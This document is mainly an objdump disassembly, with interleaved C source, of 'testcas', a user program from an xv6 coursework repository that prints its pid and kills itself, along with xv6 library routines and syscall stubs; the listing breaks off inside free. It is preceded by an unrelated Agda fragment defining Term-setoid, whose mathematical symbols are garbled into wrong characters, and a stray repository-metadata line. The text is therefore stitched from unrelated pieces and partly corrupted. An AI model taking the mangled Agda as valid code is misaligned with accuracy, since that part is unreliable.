Term-setoid : β (Ξ : MContext) (Ξ : VContext) (A : sort) β Setoid β β
Term-setoid Ξ Ξ A =
record
{ Carrier = Term Ξ Ξ A
; _β_ = _β_
; isEquivalence = record { refl = β-refl ; sym = β-sym ; trans = β-trans } }
|
testcas.asm
|
reutz19/xv6_ass2
| 1 |
8575
|
_testcas: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
int pid = getpid();
9: e8 19 03 00 00 call 327 <getpid>
e: 89 44 24 1c mov %eax,0x1c(%esp)
printf(1, "print cas result proc pid = %d\n", pid);
12: 8b 44 24 1c mov 0x1c(%esp),%eax
16: 89 44 24 08 mov %eax,0x8(%esp)
1a: c7 44 24 04 14 08 00 movl $0x814,0x4(%esp)
21: 00
22: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29: e8 19 04 00 00 call 447 <printf>
kill(pid);
2e: 8b 44 24 1c mov 0x1c(%esp),%eax
32: 89 04 24 mov %eax,(%esp)
35: e8 9d 02 00 00 call 2d7 <kill>
exit();
3a: e8 68 02 00 00 call 2a7 <exit>
0000003f <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
3f: 55 push %ebp
40: 89 e5 mov %esp,%ebp
42: 57 push %edi
43: 53 push %ebx
asm volatile("cld; rep stosb" :
44: 8b 4d 08 mov 0x8(%ebp),%ecx
47: 8b 55 10 mov 0x10(%ebp),%edx
4a: 8b 45 0c mov 0xc(%ebp),%eax
4d: 89 cb mov %ecx,%ebx
4f: 89 df mov %ebx,%edi
51: 89 d1 mov %edx,%ecx
53: fc cld
54: f3 aa rep stos %al,%es:(%edi)
56: 89 ca mov %ecx,%edx
58: 89 fb mov %edi,%ebx
5a: 89 5d 08 mov %ebx,0x8(%ebp)
5d: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
60: 5b pop %ebx
61: 5f pop %edi
62: 5d pop %ebp
63: c3 ret
00000064 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
64: 55 push %ebp
65: 89 e5 mov %esp,%ebp
67: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
6a: 8b 45 08 mov 0x8(%ebp),%eax
6d: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
70: 90 nop
71: 8b 45 08 mov 0x8(%ebp),%eax
74: 8d 50 01 lea 0x1(%eax),%edx
77: 89 55 08 mov %edx,0x8(%ebp)
7a: 8b 55 0c mov 0xc(%ebp),%edx
7d: 8d 4a 01 lea 0x1(%edx),%ecx
80: 89 4d 0c mov %ecx,0xc(%ebp)
83: 0f b6 12 movzbl (%edx),%edx
86: 88 10 mov %dl,(%eax)
88: 0f b6 00 movzbl (%eax),%eax
8b: 84 c0 test %al,%al
8d: 75 e2 jne 71 <strcpy+0xd>
;
return os;
8f: 8b 45 fc mov -0x4(%ebp),%eax
}
92: c9 leave
93: c3 ret
00000094 <strcmp>:
int
strcmp(const char *p, const char *q)
{
94: 55 push %ebp
95: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
97: eb 08 jmp a1 <strcmp+0xd>
p++, q++;
99: 83 45 08 01 addl $0x1,0x8(%ebp)
9d: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
a1: 8b 45 08 mov 0x8(%ebp),%eax
a4: 0f b6 00 movzbl (%eax),%eax
a7: 84 c0 test %al,%al
a9: 74 10 je bb <strcmp+0x27>
ab: 8b 45 08 mov 0x8(%ebp),%eax
ae: 0f b6 10 movzbl (%eax),%edx
b1: 8b 45 0c mov 0xc(%ebp),%eax
b4: 0f b6 00 movzbl (%eax),%eax
b7: 38 c2 cmp %al,%dl
b9: 74 de je 99 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
bb: 8b 45 08 mov 0x8(%ebp),%eax
be: 0f b6 00 movzbl (%eax),%eax
c1: 0f b6 d0 movzbl %al,%edx
c4: 8b 45 0c mov 0xc(%ebp),%eax
c7: 0f b6 00 movzbl (%eax),%eax
ca: 0f b6 c0 movzbl %al,%eax
cd: 29 c2 sub %eax,%edx
cf: 89 d0 mov %edx,%eax
}
d1: 5d pop %ebp
d2: c3 ret
000000d3 <strlen>:
uint
strlen(char *s)
{
d3: 55 push %ebp
d4: 89 e5 mov %esp,%ebp
d6: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
d9: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
e0: eb 04 jmp e6 <strlen+0x13>
e2: 83 45 fc 01 addl $0x1,-0x4(%ebp)
e6: 8b 55 fc mov -0x4(%ebp),%edx
e9: 8b 45 08 mov 0x8(%ebp),%eax
ec: 01 d0 add %edx,%eax
ee: 0f b6 00 movzbl (%eax),%eax
f1: 84 c0 test %al,%al
f3: 75 ed jne e2 <strlen+0xf>
;
return n;
f5: 8b 45 fc mov -0x4(%ebp),%eax
}
f8: c9 leave
f9: c3 ret
000000fa <memset>:
void*
memset(void *dst, int c, uint n)
{
fa: 55 push %ebp
fb: 89 e5 mov %esp,%ebp
fd: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
100: 8b 45 10 mov 0x10(%ebp),%eax
103: 89 44 24 08 mov %eax,0x8(%esp)
107: 8b 45 0c mov 0xc(%ebp),%eax
10a: 89 44 24 04 mov %eax,0x4(%esp)
10e: 8b 45 08 mov 0x8(%ebp),%eax
111: 89 04 24 mov %eax,(%esp)
114: e8 26 ff ff ff call 3f <stosb>
return dst;
119: 8b 45 08 mov 0x8(%ebp),%eax
}
11c: c9 leave
11d: c3 ret
0000011e <strchr>:
char*
strchr(const char *s, char c)
{
11e: 55 push %ebp
11f: 89 e5 mov %esp,%ebp
121: 83 ec 04 sub $0x4,%esp
124: 8b 45 0c mov 0xc(%ebp),%eax
127: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
12a: eb 14 jmp 140 <strchr+0x22>
if(*s == c)
12c: 8b 45 08 mov 0x8(%ebp),%eax
12f: 0f b6 00 movzbl (%eax),%eax
132: 3a 45 fc cmp -0x4(%ebp),%al
135: 75 05 jne 13c <strchr+0x1e>
return (char*)s;
137: 8b 45 08 mov 0x8(%ebp),%eax
13a: eb 13 jmp 14f <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
13c: 83 45 08 01 addl $0x1,0x8(%ebp)
140: 8b 45 08 mov 0x8(%ebp),%eax
143: 0f b6 00 movzbl (%eax),%eax
146: 84 c0 test %al,%al
148: 75 e2 jne 12c <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
14a: b8 00 00 00 00 mov $0x0,%eax
}
14f: c9 leave
150: c3 ret
00000151 <gets>:
char*
gets(char *buf, int max)
{
151: 55 push %ebp
152: 89 e5 mov %esp,%ebp
154: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
157: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
15e: eb 4c jmp 1ac <gets+0x5b>
cc = read(0, &c, 1);
160: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
167: 00
168: 8d 45 ef lea -0x11(%ebp),%eax
16b: 89 44 24 04 mov %eax,0x4(%esp)
16f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
176: e8 44 01 00 00 call 2bf <read>
17b: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
17e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
182: 7f 02 jg 186 <gets+0x35>
break;
184: eb 31 jmp 1b7 <gets+0x66>
buf[i++] = c;
186: 8b 45 f4 mov -0xc(%ebp),%eax
189: 8d 50 01 lea 0x1(%eax),%edx
18c: 89 55 f4 mov %edx,-0xc(%ebp)
18f: 89 c2 mov %eax,%edx
191: 8b 45 08 mov 0x8(%ebp),%eax
194: 01 c2 add %eax,%edx
196: 0f b6 45 ef movzbl -0x11(%ebp),%eax
19a: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
19c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1a0: 3c 0a cmp $0xa,%al
1a2: 74 13 je 1b7 <gets+0x66>
1a4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1a8: 3c 0d cmp $0xd,%al
1aa: 74 0b je 1b7 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ac: 8b 45 f4 mov -0xc(%ebp),%eax
1af: 83 c0 01 add $0x1,%eax
1b2: 3b 45 0c cmp 0xc(%ebp),%eax
1b5: 7c a9 jl 160 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1b7: 8b 55 f4 mov -0xc(%ebp),%edx
1ba: 8b 45 08 mov 0x8(%ebp),%eax
1bd: 01 d0 add %edx,%eax
1bf: c6 00 00 movb $0x0,(%eax)
return buf;
1c2: 8b 45 08 mov 0x8(%ebp),%eax
}
1c5: c9 leave
1c6: c3 ret
000001c7 <stat>:
int
stat(char *n, struct stat *st)
{
1c7: 55 push %ebp
1c8: 89 e5 mov %esp,%ebp
1ca: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1cd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1d4: 00
1d5: 8b 45 08 mov 0x8(%ebp),%eax
1d8: 89 04 24 mov %eax,(%esp)
1db: e8 07 01 00 00 call 2e7 <open>
1e0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
1e3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1e7: 79 07 jns 1f0 <stat+0x29>
return -1;
1e9: b8 ff ff ff ff mov $0xffffffff,%eax
1ee: eb 23 jmp 213 <stat+0x4c>
r = fstat(fd, st);
1f0: 8b 45 0c mov 0xc(%ebp),%eax
1f3: 89 44 24 04 mov %eax,0x4(%esp)
1f7: 8b 45 f4 mov -0xc(%ebp),%eax
1fa: 89 04 24 mov %eax,(%esp)
1fd: e8 fd 00 00 00 call 2ff <fstat>
202: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
205: 8b 45 f4 mov -0xc(%ebp),%eax
208: 89 04 24 mov %eax,(%esp)
20b: e8 bf 00 00 00 call 2cf <close>
return r;
210: 8b 45 f0 mov -0x10(%ebp),%eax
}
213: c9 leave
214: c3 ret
00000215 <atoi>:
int
atoi(const char *s)
{
215: 55 push %ebp
216: 89 e5 mov %esp,%ebp
218: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
21b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
222: eb 25 jmp 249 <atoi+0x34>
n = n*10 + *s++ - '0';
224: 8b 55 fc mov -0x4(%ebp),%edx
227: 89 d0 mov %edx,%eax
229: c1 e0 02 shl $0x2,%eax
22c: 01 d0 add %edx,%eax
22e: 01 c0 add %eax,%eax
230: 89 c1 mov %eax,%ecx
232: 8b 45 08 mov 0x8(%ebp),%eax
235: 8d 50 01 lea 0x1(%eax),%edx
238: 89 55 08 mov %edx,0x8(%ebp)
23b: 0f b6 00 movzbl (%eax),%eax
23e: 0f be c0 movsbl %al,%eax
241: 01 c8 add %ecx,%eax
243: 83 e8 30 sub $0x30,%eax
246: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
249: 8b 45 08 mov 0x8(%ebp),%eax
24c: 0f b6 00 movzbl (%eax),%eax
24f: 3c 2f cmp $0x2f,%al
251: 7e 0a jle 25d <atoi+0x48>
253: 8b 45 08 mov 0x8(%ebp),%eax
256: 0f b6 00 movzbl (%eax),%eax
259: 3c 39 cmp $0x39,%al
25b: 7e c7 jle 224 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
25d: 8b 45 fc mov -0x4(%ebp),%eax
}
260: c9 leave
261: c3 ret
00000262 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
262: 55 push %ebp
263: 89 e5 mov %esp,%ebp
265: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
268: 8b 45 08 mov 0x8(%ebp),%eax
26b: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
26e: 8b 45 0c mov 0xc(%ebp),%eax
271: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
274: eb 17 jmp 28d <memmove+0x2b>
*dst++ = *src++;
276: 8b 45 fc mov -0x4(%ebp),%eax
279: 8d 50 01 lea 0x1(%eax),%edx
27c: 89 55 fc mov %edx,-0x4(%ebp)
27f: 8b 55 f8 mov -0x8(%ebp),%edx
282: 8d 4a 01 lea 0x1(%edx),%ecx
285: 89 4d f8 mov %ecx,-0x8(%ebp)
288: 0f b6 12 movzbl (%edx),%edx
28b: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
28d: 8b 45 10 mov 0x10(%ebp),%eax
290: 8d 50 ff lea -0x1(%eax),%edx
293: 89 55 10 mov %edx,0x10(%ebp)
296: 85 c0 test %eax,%eax
298: 7f dc jg 276 <memmove+0x14>
*dst++ = *src++;
return vdst;
29a: 8b 45 08 mov 0x8(%ebp),%eax
}
29d: c9 leave
29e: c3 ret
0000029f <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
29f: b8 01 00 00 00 mov $0x1,%eax
2a4: cd 40 int $0x40
2a6: c3 ret
000002a7 <exit>:
SYSCALL(exit)
2a7: b8 02 00 00 00 mov $0x2,%eax
2ac: cd 40 int $0x40
2ae: c3 ret
000002af <wait>:
SYSCALL(wait)
2af: b8 03 00 00 00 mov $0x3,%eax
2b4: cd 40 int $0x40
2b6: c3 ret
000002b7 <pipe>:
SYSCALL(pipe)
2b7: b8 04 00 00 00 mov $0x4,%eax
2bc: cd 40 int $0x40
2be: c3 ret
000002bf <read>:
SYSCALL(read)
2bf: b8 05 00 00 00 mov $0x5,%eax
2c4: cd 40 int $0x40
2c6: c3 ret
000002c7 <write>:
SYSCALL(write)
2c7: b8 10 00 00 00 mov $0x10,%eax
2cc: cd 40 int $0x40
2ce: c3 ret
000002cf <close>:
SYSCALL(close)
2cf: b8 15 00 00 00 mov $0x15,%eax
2d4: cd 40 int $0x40
2d6: c3 ret
000002d7 <kill>:
SYSCALL(kill)
2d7: b8 06 00 00 00 mov $0x6,%eax
2dc: cd 40 int $0x40
2de: c3 ret
000002df <exec>:
SYSCALL(exec)
2df: b8 07 00 00 00 mov $0x7,%eax
2e4: cd 40 int $0x40
2e6: c3 ret
000002e7 <open>:
SYSCALL(open)
2e7: b8 0f 00 00 00 mov $0xf,%eax
2ec: cd 40 int $0x40
2ee: c3 ret
000002ef <mknod>:
SYSCALL(mknod)
2ef: b8 11 00 00 00 mov $0x11,%eax
2f4: cd 40 int $0x40
2f6: c3 ret
000002f7 <unlink>:
SYSCALL(unlink)
2f7: b8 12 00 00 00 mov $0x12,%eax
2fc: cd 40 int $0x40
2fe: c3 ret
000002ff <fstat>:
SYSCALL(fstat)
2ff: b8 08 00 00 00 mov $0x8,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <link>:
SYSCALL(link)
307: b8 13 00 00 00 mov $0x13,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <mkdir>:
SYSCALL(mkdir)
30f: b8 14 00 00 00 mov $0x14,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <chdir>:
SYSCALL(chdir)
317: b8 09 00 00 00 mov $0x9,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <dup>:
SYSCALL(dup)
31f: b8 0a 00 00 00 mov $0xa,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <getpid>:
SYSCALL(getpid)
327: b8 0b 00 00 00 mov $0xb,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <sbrk>:
SYSCALL(sbrk)
32f: b8 0c 00 00 00 mov $0xc,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <sleep>:
SYSCALL(sleep)
337: b8 0d 00 00 00 mov $0xd,%eax
33c: cd 40 int $0x40
33e: c3 ret
0000033f <uptime>:
SYSCALL(uptime)
33f: b8 0e 00 00 00 mov $0xe,%eax
344: cd 40 int $0x40
346: c3 ret
00000347 <sigset>:
SYSCALL(sigset)
347: b8 16 00 00 00 mov $0x16,%eax
34c: cd 40 int $0x40
34e: c3 ret
0000034f <sigsend>:
SYSCALL(sigsend)
34f: b8 17 00 00 00 mov $0x17,%eax
354: cd 40 int $0x40
356: c3 ret
00000357 <sigret>:
SYSCALL(sigret)
357: b8 18 00 00 00 mov $0x18,%eax
35c: cd 40 int $0x40
35e: c3 ret
0000035f <sigpause>:
35f: b8 19 00 00 00 mov $0x19,%eax
364: cd 40 int $0x40
366: c3 ret
00000367 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
367: 55 push %ebp
368: 89 e5 mov %esp,%ebp
36a: 83 ec 18 sub $0x18,%esp
36d: 8b 45 0c mov 0xc(%ebp),%eax
370: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
373: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
37a: 00
37b: 8d 45 f4 lea -0xc(%ebp),%eax
37e: 89 44 24 04 mov %eax,0x4(%esp)
382: 8b 45 08 mov 0x8(%ebp),%eax
385: 89 04 24 mov %eax,(%esp)
388: e8 3a ff ff ff call 2c7 <write>
}
38d: c9 leave
38e: c3 ret
0000038f <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
38f: 55 push %ebp
390: 89 e5 mov %esp,%ebp
392: 56 push %esi
393: 53 push %ebx
394: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
397: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
39e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3a2: 74 17 je 3bb <printint+0x2c>
3a4: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3a8: 79 11 jns 3bb <printint+0x2c>
neg = 1;
3aa: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3b1: 8b 45 0c mov 0xc(%ebp),%eax
3b4: f7 d8 neg %eax
3b6: 89 45 ec mov %eax,-0x14(%ebp)
3b9: eb 06 jmp 3c1 <printint+0x32>
} else {
x = xx;
3bb: 8b 45 0c mov 0xc(%ebp),%eax
3be: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3c1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3c8: 8b 4d f4 mov -0xc(%ebp),%ecx
3cb: 8d 41 01 lea 0x1(%ecx),%eax
3ce: 89 45 f4 mov %eax,-0xc(%ebp)
3d1: 8b 5d 10 mov 0x10(%ebp),%ebx
3d4: 8b 45 ec mov -0x14(%ebp),%eax
3d7: ba 00 00 00 00 mov $0x0,%edx
3dc: f7 f3 div %ebx
3de: 89 d0 mov %edx,%eax
3e0: 0f b6 80 80 0a 00 00 movzbl 0xa80(%eax),%eax
3e7: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
3eb: 8b 75 10 mov 0x10(%ebp),%esi
3ee: 8b 45 ec mov -0x14(%ebp),%eax
3f1: ba 00 00 00 00 mov $0x0,%edx
3f6: f7 f6 div %esi
3f8: 89 45 ec mov %eax,-0x14(%ebp)
3fb: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3ff: 75 c7 jne 3c8 <printint+0x39>
if(neg)
401: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
405: 74 10 je 417 <printint+0x88>
buf[i++] = '-';
407: 8b 45 f4 mov -0xc(%ebp),%eax
40a: 8d 50 01 lea 0x1(%eax),%edx
40d: 89 55 f4 mov %edx,-0xc(%ebp)
410: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
415: eb 1f jmp 436 <printint+0xa7>
417: eb 1d jmp 436 <printint+0xa7>
putc(fd, buf[i]);
419: 8d 55 dc lea -0x24(%ebp),%edx
41c: 8b 45 f4 mov -0xc(%ebp),%eax
41f: 01 d0 add %edx,%eax
421: 0f b6 00 movzbl (%eax),%eax
424: 0f be c0 movsbl %al,%eax
427: 89 44 24 04 mov %eax,0x4(%esp)
42b: 8b 45 08 mov 0x8(%ebp),%eax
42e: 89 04 24 mov %eax,(%esp)
431: e8 31 ff ff ff call 367 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
436: 83 6d f4 01 subl $0x1,-0xc(%ebp)
43a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
43e: 79 d9 jns 419 <printint+0x8a>
putc(fd, buf[i]);
}
440: 83 c4 30 add $0x30,%esp
443: 5b pop %ebx
444: 5e pop %esi
445: 5d pop %ebp
446: c3 ret
00000447 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
447: 55 push %ebp
448: 89 e5 mov %esp,%ebp
44a: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
44d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
454: 8d 45 0c lea 0xc(%ebp),%eax
457: 83 c0 04 add $0x4,%eax
45a: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
45d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
464: e9 7c 01 00 00 jmp 5e5 <printf+0x19e>
c = fmt[i] & 0xff;
469: 8b 55 0c mov 0xc(%ebp),%edx
46c: 8b 45 f0 mov -0x10(%ebp),%eax
46f: 01 d0 add %edx,%eax
471: 0f b6 00 movzbl (%eax),%eax
474: 0f be c0 movsbl %al,%eax
477: 25 ff 00 00 00 and $0xff,%eax
47c: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
47f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
483: 75 2c jne 4b1 <printf+0x6a>
if(c == '%'){
485: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
489: 75 0c jne 497 <printf+0x50>
state = '%';
48b: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
492: e9 4a 01 00 00 jmp 5e1 <printf+0x19a>
} else {
putc(fd, c);
497: 8b 45 e4 mov -0x1c(%ebp),%eax
49a: 0f be c0 movsbl %al,%eax
49d: 89 44 24 04 mov %eax,0x4(%esp)
4a1: 8b 45 08 mov 0x8(%ebp),%eax
4a4: 89 04 24 mov %eax,(%esp)
4a7: e8 bb fe ff ff call 367 <putc>
4ac: e9 30 01 00 00 jmp 5e1 <printf+0x19a>
}
} else if(state == '%'){
4b1: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4b5: 0f 85 26 01 00 00 jne 5e1 <printf+0x19a>
if(c == 'd'){
4bb: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4bf: 75 2d jne 4ee <printf+0xa7>
printint(fd, *ap, 10, 1);
4c1: 8b 45 e8 mov -0x18(%ebp),%eax
4c4: 8b 00 mov (%eax),%eax
4c6: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
4cd: 00
4ce: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
4d5: 00
4d6: 89 44 24 04 mov %eax,0x4(%esp)
4da: 8b 45 08 mov 0x8(%ebp),%eax
4dd: 89 04 24 mov %eax,(%esp)
4e0: e8 aa fe ff ff call 38f <printint>
ap++;
4e5: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4e9: e9 ec 00 00 00 jmp 5da <printf+0x193>
} else if(c == 'x' || c == 'p'){
4ee: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
4f2: 74 06 je 4fa <printf+0xb3>
4f4: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
4f8: 75 2d jne 527 <printf+0xe0>
printint(fd, *ap, 16, 0);
4fa: 8b 45 e8 mov -0x18(%ebp),%eax
4fd: 8b 00 mov (%eax),%eax
4ff: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
506: 00
507: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
50e: 00
50f: 89 44 24 04 mov %eax,0x4(%esp)
513: 8b 45 08 mov 0x8(%ebp),%eax
516: 89 04 24 mov %eax,(%esp)
519: e8 71 fe ff ff call 38f <printint>
ap++;
51e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
522: e9 b3 00 00 00 jmp 5da <printf+0x193>
} else if(c == 's'){
527: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
52b: 75 45 jne 572 <printf+0x12b>
s = (char*)*ap;
52d: 8b 45 e8 mov -0x18(%ebp),%eax
530: 8b 00 mov (%eax),%eax
532: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
535: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
539: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
53d: 75 09 jne 548 <printf+0x101>
s = "(null)";
53f: c7 45 f4 34 08 00 00 movl $0x834,-0xc(%ebp)
while(*s != 0){
546: eb 1e jmp 566 <printf+0x11f>
548: eb 1c jmp 566 <printf+0x11f>
putc(fd, *s);
54a: 8b 45 f4 mov -0xc(%ebp),%eax
54d: 0f b6 00 movzbl (%eax),%eax
550: 0f be c0 movsbl %al,%eax
553: 89 44 24 04 mov %eax,0x4(%esp)
557: 8b 45 08 mov 0x8(%ebp),%eax
55a: 89 04 24 mov %eax,(%esp)
55d: e8 05 fe ff ff call 367 <putc>
s++;
562: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
566: 8b 45 f4 mov -0xc(%ebp),%eax
569: 0f b6 00 movzbl (%eax),%eax
56c: 84 c0 test %al,%al
56e: 75 da jne 54a <printf+0x103>
570: eb 68 jmp 5da <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
572: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
576: 75 1d jne 595 <printf+0x14e>
putc(fd, *ap);
578: 8b 45 e8 mov -0x18(%ebp),%eax
57b: 8b 00 mov (%eax),%eax
57d: 0f be c0 movsbl %al,%eax
580: 89 44 24 04 mov %eax,0x4(%esp)
584: 8b 45 08 mov 0x8(%ebp),%eax
587: 89 04 24 mov %eax,(%esp)
58a: e8 d8 fd ff ff call 367 <putc>
ap++;
58f: 83 45 e8 04 addl $0x4,-0x18(%ebp)
593: eb 45 jmp 5da <printf+0x193>
} else if(c == '%'){
595: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
599: 75 17 jne 5b2 <printf+0x16b>
putc(fd, c);
59b: 8b 45 e4 mov -0x1c(%ebp),%eax
59e: 0f be c0 movsbl %al,%eax
5a1: 89 44 24 04 mov %eax,0x4(%esp)
5a5: 8b 45 08 mov 0x8(%ebp),%eax
5a8: 89 04 24 mov %eax,(%esp)
5ab: e8 b7 fd ff ff call 367 <putc>
5b0: eb 28 jmp 5da <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5b2: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
5b9: 00
5ba: 8b 45 08 mov 0x8(%ebp),%eax
5bd: 89 04 24 mov %eax,(%esp)
5c0: e8 a2 fd ff ff call 367 <putc>
putc(fd, c);
5c5: 8b 45 e4 mov -0x1c(%ebp),%eax
5c8: 0f be c0 movsbl %al,%eax
5cb: 89 44 24 04 mov %eax,0x4(%esp)
5cf: 8b 45 08 mov 0x8(%ebp),%eax
5d2: 89 04 24 mov %eax,(%esp)
5d5: e8 8d fd ff ff call 367 <putc>
}
state = 0;
5da: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5e1: 83 45 f0 01 addl $0x1,-0x10(%ebp)
5e5: 8b 55 0c mov 0xc(%ebp),%edx
5e8: 8b 45 f0 mov -0x10(%ebp),%eax
5eb: 01 d0 add %edx,%eax
5ed: 0f b6 00 movzbl (%eax),%eax
5f0: 84 c0 test %al,%al
5f2: 0f 85 71 fe ff ff jne 469 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
5f8: c9 leave
5f9: c3 ret
000005fa <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5fa: 55 push %ebp
5fb: 89 e5 mov %esp,%ebp
5fd: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
600: 8b 45 08 mov 0x8(%ebp),%eax
603: 83 e8 08 sub $0x8,%eax
606: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
609: a1 9c 0a 00 00 mov 0xa9c,%eax
60e: 89 45 fc mov %eax,-0x4(%ebp)
611: eb 24 jmp 637 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
613: 8b 45 fc mov -0x4(%ebp),%eax
616: 8b 00 mov (%eax),%eax
618: 3b 45 fc cmp -0x4(%ebp),%eax
61b: 77 12 ja 62f <free+0x35>
61d: 8b 45 f8 mov -0x8(%ebp),%eax
